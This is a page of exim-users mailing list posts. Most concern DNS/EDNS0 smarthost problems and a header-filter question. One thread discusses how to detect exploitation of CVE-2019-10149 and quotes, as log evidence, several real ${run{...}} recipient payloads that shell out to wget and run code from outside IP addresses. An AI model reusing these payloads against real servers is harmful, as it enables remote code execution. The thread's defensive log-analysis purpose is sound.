Re: [exim] DNS problems with sending via multiple smarthosts
On Wed, Jul 24, 2019 at 11:29:21AM +0100, Jeremy Harris via Exim-users wrote: > On 19/07/2019 08:12, Viktor Dukhovni via Exim-users wrote: > > On Fri, Jul 19, 2019 at 09:15:26AM +0300, Evgeniy Berdnikov via Exim-users > > wrote: > >>> Might there be a dnssec-related difference? > >> > >> Definitely NO, because this difference is in client's initial packets. > > > > Actually, the "tcpdump" documentation is misleading. In the attached > > PCAP file (single outbound query), "tcpdump" reports "[1au]", but the > > query has no authority records, rather it has an EDNS(0) OPT record: > > > If there were a simple way to get the stub resolver to set only > > the AD bit, Exim could use that, and you'd not run into this > > particular obstacle, but the fault is wither whatever device > > is filtering your DNS queries. It is b0rked, and it would > > be good to find a way to get it to stop doing that. > > Thanks for the analysis, Viktor. > > David: try adding a main-config option: > >dns_use_edns0 = 0 Yes! That works. Thank you very much to everyone who helped work this out for me. I've solved my other multiple smarthost issues as well. Turns out that Microsoft's servers are *.office365.com when using an IPv6 network and *.office.com when using and IPv4 network and I was only requiring authentication for one case. David -- David Purton e: dcpur...@marshwiggle.net m: 0413 626 862 -- ## List details at https://lists.exim.org/mailman/listinfo/exim-users ## Exim details at http://www.exim.org/ ## Please use the Wiki with this list - http://wiki.exim.org/
Re: [exim] Detecting successful CVE-2019-10149 hack
On 7/23/2019 9:58 AM, Calum Mackay via Exim-users wrote:
hi Phillip,
If your Linux system was successfully hacked, you may see changes to:
/etc/cron.d/root
/etc/crontab
/root/.ssh/authorized_keys
/root/.ssh/known_hosts
(or the Centos equivalent, above was from a Debian system)
Hi Calum,
Thanks for the response. I am fairly certain now that my server wasn't
successfully hacked. Because all direct addressee local parts are
logged, I am now convinced there were only the two instances my log
search revealed. And those were definitely stopped.
I have read that a different attack vector has been seen using
Envelope_To: local part instead of To:. I don't know that I fully
understand whether envelope processing follows a different path that
would avoid logging the local part before expansion.
However, I can't find any suspicious files or changes anywhere in the
system, and certainly not in the locations you listed. Actually I am
pretty certain csf would have logged an alert.
and also every 5 mins getting frozen messages:
The following address(es) have yet to be delivered:
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx:
Too many "Received" headers - suspected mail loop
Although perhaps not every successful hack case looks the same.
cheers,
calum.
The two instances in my logs have no command options at all on the wget
in the payload string. Nothing at all about certificate checking. Much
simpler attacks.
First:
root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2065.181.120.163\x2fstfinracu\x22}}@xxx
(This instance was temporarily rejected at connection because HELO and
host did not match. My config requires whitelisting of hosts that use
unmatched HELO. Until/unless whitelisted, they keep getting temporary
rejections. In this case the sending host ignored the response and
continued with the SMTP session anyway, ending with the two protocol
errors.)
Second:
root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x20199.204.214.40\x2fsbz\x2f45.79.89.203\x22}}@xxx
(This case was immediately rejected at connection due to IP being known
bad guy in spamhaus. However, like the first, it just continued on,
causing SMTP protocol errors.)
thanks again,
Phil
Phillip
On 23/07/2019 1:10 am, Carroll via Exim-users wrote:
Because I was quite tardy in updating from 4.91 to 4.92, I am faced
with the the question as to best procedure for determining if anyone
successfully hacked into my Centos 7 server.
(I updated in late June, still oblivious to the existence of the CVE.
A week later I learn about the CVE. C'est la vie.)
Googling hasn't yielded much in terms of what a sysop should look for.
I have exim logs going back many months. I searched those (case
insensitive) for the string "x2fbin", and also "${run". Both searches
found the exact same two instances of RCPT to a local part containing
a CVE-2019-10149 payoff string. (quite different from each other, but
all having essentially the same form) One was dated the week before I
updated to 4.92. The other was dated a week after updating.
In both instances, the found string was part of an error message:
"SMTP Protocol error in RCPT TO:sender not yet given
In the fist instance the RCPT error was immediately followed by the
error message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
In each instance the RCPT error was immediately followed by an error
message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
followed immediately by another error message:
SMTP protocol synchronization error (next input sent too soon:
pipelining was not advertised): rejected "Received: 1" ... next
input="Received: 2\r\nReceived: 3\r\nReceived: 4\r\nReceived:
5\r\nReceived: 6\r\nReceived: 7\r\nReceived: 8\r\nReceived:
9\r\nReceived: 10\r\nReceived: 11\r\nReceived: 12\r\nRece"
My first question is, do these indicate failed attempts, or could they
have succeeded? On the face, it appears they failed.
However, my second question would be whether, in a successful attempt,
the payoff string would even appear in the log or just get swallowed
up by exim executing the string? In which case, what do I look for to
eliminate that possibility?
GLTA
--
## List details at https://lists.exim.org/mailman/listinfo/exim-users
## Exim details at http://www.exim.org/
## Please use the Wiki with this list - http://wiki.exim.org/
Re: [exim] DNS problems with sending via multiple smarthosts
On 19/07/2019 08:12, Viktor Dukhovni via Exim-users wrote: > On Fri, Jul 19, 2019 at 09:15:26AM +0300, Evgeniy Berdnikov via Exim-users > wrote: >>> Might there be a dnssec-related difference? >> >> Definitely NO, because this difference is in client's initial packets. > > Actually, the "tcpdump" documentation is misleading. In the attached > PCAP file (single outbound query), "tcpdump" reports "[1au]", but the > query has no authority records, rather it has an EDNS(0) OPT record: > If there were a simple way to get the stub resolver to set only > the AD bit, Exim could use that, and you'd not run into this > particular obstacle, but the fault is wither whatever device > is filtering your DNS queries. It is b0rked, and it would > be good to find a way to get it to stop doing that. Thanks for the analysis, Viktor. David: try adding a main-config option: dns_use_edns0 = 0 Note that dnssec will be disabled as a side-effect. And really, get access to a decent resolver for preference. -- Cheers, Jeremy -- ## List details at https://lists.exim.org/mailman/listinfo/exim-users ## Exim details at http://www.exim.org/ ## Please use the Wiki with this list - http://wiki.exim.org/
Re: [exim] DNS problems with sending via multiple smarthosts
Thanks for your help. I've been away for a few days and not able to test
things. Here's the results of what you ask:
On Fri, Jul 19, 2019 at 01:08:28AM +0300, Evgeniy Berdnikov via Exim-users
wrote:
[SNIP]
> Quite puzzling... The only difference I see here is the presence of one
> authority record in dns query from Exim, marked as [1au].
> Tcpdump man page states:
>
>A few anomalies are checked and may result in extra fields enclosed in
>square brackets: If a query contains an answer, authority records or
>additional records section, ancount, nscount, or arcount are printed as
>`[na]', `[nn]' or `[nau]' where n is the appropriate count.
>
> Running tcpdump with -vvv shows that there is an authority record for root.
> I don't know is this behaviour legal or not, and why this record is present
> in exim queries. But I propose to try two other methods to resolve name:
>
> 1: exim4 -be '${lookup dnsdb{a=smtp.gmail.com}{$value}fail}'
This returns:
Failed: "lookup" failed and "fail" requested
> 2: perl -e '($n,$a,$t,$l,@ip)=gethostbyname("smtp.gmail.com"); print
> "n=$n\na=$a\n"; for (@ip) {($w,$x,$y,$z)=unpack('W4',$_); print
> "$w.$x.$y.$z\n"}'
This returns:
n=gmail-smtp-msa.l.google.com
a=smtp.gmail.com
74.125.68.108
--
David Purton
e: dcpur...@marshwiggle.net
m: 0413 626 862
signature.asc
Description: PGP signature
--
## List details at https://lists.exim.org/mailman/listinfo/exim-users
## Exim details at http://www.exim.org/
## Please use the Wiki with this list - http://wiki.exim.org/
Re: [exim] exim filters to/from/cc address
On 2019-07-23, Gary Stainburn via Exim-users wrote: > In my user filter I have a number of entries similar to > > if ($h_from: matches "user@domain") or > ($h_to: matches "user@domain") or > ($h_cc: matches "user@domain") then > deliver mobileph...@mydomain.com > seen > finish > endif > > which is used to forward important emails to my phone. > > Is there an wasier way to do this, e.g. a variable containing all recipients, > or all addresses? There's probably a better way. why does that work? -- When I tried casting out nines I made a hash of it. -- ## List details at https://lists.exim.org/mailman/listinfo/exim-users ## Exim details at http://www.exim.org/ ## Please use the Wiki with this list - http://wiki.exim.org/
